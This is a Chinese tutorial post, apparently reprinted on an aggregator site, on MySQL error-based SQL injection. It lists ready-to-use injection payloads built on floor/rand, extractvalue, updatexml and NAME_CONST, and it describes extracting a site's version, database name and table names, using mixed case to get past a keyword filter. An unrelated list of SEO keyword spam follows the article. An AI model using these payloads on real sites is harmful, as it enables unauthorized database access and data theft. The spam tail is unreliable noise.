SQL注入之mysql显错注入
发表于:2024-09-29 作者:千家信息网编辑
千家信息网最后更新 2024年09月29日,在我们实际***中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情
千家信息网最后更新 2024年09月29日SQL注入之mysql显错注入
在我们实际***中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!。
图1 获取数据库失败
此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。
通过floor报错:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and (select count(*) from (select 1 union select null union select !1)x group by concat((select version()),floor(rand(0)*2)))
通过ExtractValue报错:
and extractvalue(1, concat(0x7f, (select version()),0x7f))
通过UpdateXml报错:
and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1))
通过NAME_CONST报错:
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
通过错误的双重查询:
or 1 group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1
在这里我们以UpdateXml报错进行实战演示,如图2是一个显错注入点。
图2 显错注入点
此时我们将通过UpdateXml来进行SQL注入,这里由于对关键字进行了过滤,因此我们需要使用大小写来进行绕过,首先我们查询数据库版本,如图3所示,成功获取了数据库版本。
图3 获取数据库版本信息
获取数据库名,如图4所示。
图4 获取数据名
获取表名,如图5所示。
图5 获取表名
后续操作请参考文章《mysql手工注入》,这里不再进行累赘!
数据
数据库
如图
手工
版本
查询
信息
函数
脚本
成功
累赘
全程
关键
关键字
大小
实战
实际
情况
文章
结果
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
网络安全设施和投资哪个好
社交软件开发现状
qt 插件式软件开发
征信基础数据库变更
数据库备份异常
风电场网络安全教育培训内容
网页上传文件服务器安全
上海西有网络技术有限公司
茂名数据链软件开发价目表
stm32微型服务器
萧何大秦数据库
上海融秉网络技术有限公司
网络安全警惕语
清华同方数据库技术流视频
逗游服务器
乐华阅卷一直无法连接服务器
启动数据库实例名
单片机软件开发设计
服务器从网卡启动
查询数据库一张表中相同的数据
抽奖软件开发公司
计算机三级网络技术零基础
数据库扩展字段命名规范
广域网络技术是什么呢
学校网络安全与舆情应急预案
厦门市网络安全工资是多少了
成都红叶网络技术有限公司
多个人访问服务器叫什么
江苏营销软件开发定做价格
公众号 自己服务器